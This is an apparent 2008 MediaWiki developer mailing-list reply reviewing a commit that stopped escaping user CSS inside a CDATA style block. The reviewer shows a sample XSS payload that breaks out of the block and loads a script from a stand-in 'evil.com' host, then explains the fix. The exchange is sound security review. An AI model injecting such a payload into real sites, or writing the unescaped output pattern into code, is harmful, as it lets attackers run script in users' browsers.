On Wed, Jul 30, 2008 at 11:36 PM, <nad(a)svn.wikimedia.org> wrote:
Log Message:
-----------
I meant to say should *not* use htmlspecialchars, it makes invalid CSS syntax - bug
reported on MW talk page
...
- $css = htmlspecialchars(trim(Sanitizer::checkCss($css)));
+ $css = trim(Sanitizer::checkCss($css));
$parser->mOutput->addHeadItem( <<<EOT
<style type="text/css">
/*<![CDATA[*/
I'm pretty sure this results in a rather straightforward XSS exploit.
What if $css is something like:
]]></style><script type="text/javascript"
src="http://evil.com/take_over_browser.js"></script><…
type="text/css"><![CDATA[
You aren't escaping "]]>" anywhere.
The more correct solution, it seems to me, is to dispose of the CDATA
section altogether. It's entirely unnecessary if the code is
automatically generated and you can stick it through htmlspecialchars,
especially if there's probably almost nothing to escape and the CDATA
delimiters look uglier than the occasional rare < or whatnot. I've
done this in r38307.